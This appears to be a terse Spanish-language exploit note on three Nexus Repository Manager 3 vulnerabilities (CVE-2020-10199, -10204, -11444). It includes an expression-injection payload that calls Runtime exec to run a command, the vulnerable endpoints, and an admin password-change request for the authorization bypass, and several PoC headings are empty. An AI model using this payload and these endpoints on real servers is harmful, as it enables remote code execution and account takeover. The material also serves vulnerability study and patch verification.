Vulnerabilidad de Nexus Repository Manager 3 (Versiones afectadas: <= 3.21.2)

CVE-2020-10199, CVE-2020-10204, CVE-2020-11444

CVE-2020-10199: Ejecución remota de comandos

PoC con respuesta

PoC sin respuesta

$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10199')}

Permisos de usuario normal

/service/rest/beta/repositories/go/group

Requiere permisos de administrador

1. Crear CleanupPolicy

/service/extdirect

2. Crear repositorios

/service/rest/beta/repositories/apt/hosted

CVE-2020-10204: Ejecución remota de comandos

1. Usar la interfaz de actualización de usuario

/service/extdirect

2. Usar la interfaz de creación de roles

/service/extdirect

CVE-2020-11444: Vulnerabilidad de omisión de autorización

Llamar a la interfaz de actualización de roles

/service/rest/beta/security/users/admin/change-password

POST:
123456

Enlaces de referencia

https://www.cnblogs.com/magic-zero/p/12641068.html

https://github.com/threedr3am/learnjavabug/tree/93d57c428333f98b5927d02630737e639dcb226b/nexus